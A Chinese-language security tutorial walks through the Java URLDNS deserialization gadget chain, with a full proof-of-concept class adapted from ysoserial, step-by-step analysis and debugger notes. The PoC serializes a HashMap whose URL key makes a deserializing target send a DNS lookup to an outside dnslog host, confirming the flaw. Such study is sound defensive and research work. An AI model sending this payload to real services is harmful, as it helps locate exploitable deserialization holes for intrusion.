URLDNS
URLDNS跟CommonsCollections比起來真是眉清目秀,該鏈主要用於驗證漏洞,並不能執行命令,優點就是不依賴任何包。
1、利用鏈
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
其實看這個利用鏈我們就能發現其實跟cc6的利用是差不多的。
2、POC
2.1、漏洞復現
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
String url="http://wmm760.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);
serialize(ht);
unserialize();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}
2.2、POC分析
其實建立了一個空的URLStreamHandler,把它放進我們的建立的URL類(放著我們的驗證dnslog),再把 他們放進HashMap,通過反射去修改URL的hashCode屬性為-1。
String url="http://wmm760.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);
URLStreamHandler
我們看第一段的URLStreamHandler類的hashcode方法,他會把我們的傳進去的URL通過getHostAddress觸發,我們現在需要查詢哪裡呼叫了URLStreamHandler的hashCode()
URL
在URL類中的hashCode方法,如果hashCode不等於-1,就會直接返回,這就是我們為什麼要反射 設定hashCode為-1的原因,handler其實就是我們在URL構造方法傳入的URLStreamHandler,所以這裡呼叫的是URLStreamHandler的hashCode方法,並且this就是我們的通過構造方法傳入的URL類。再往上找哪裡呼叫hashCode方法,這時我們就可以想到cc6鏈的運用了。
那就是HashMap
HashMap的hash方法會用傳入的key去呼叫key的hashcode方法,所以我們只要把URL類傳給HashMap的key就可以了。
再通過readObject的putVal呼叫即可
2.3、POC除錯
首先我們在HashMap的readObject打下斷點,可以看到key就是我們的URL類,value是一個"惡意網址",用於條件判斷
進入到HashMap的hash方法,呼叫key的hashCode方法就是呼叫URL的hashCode方法,繼續跟進
handler就是URLStreamHandler,在new URL()傳入的,this是本類URL類,繼續跟進
URLStreamHandler的hashCode方法,他會呼叫getHostAddress方法,該方法會去遠端請求,多說一句也是我們審計用來審計ssrf漏洞的常用函式
在這句程式碼會請求兩三秒的樣子,dnslog成功收到。
2.4、結尾
總體來說這條鏈是比較簡單的,但是就是不能夠執行命令
參考連結
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java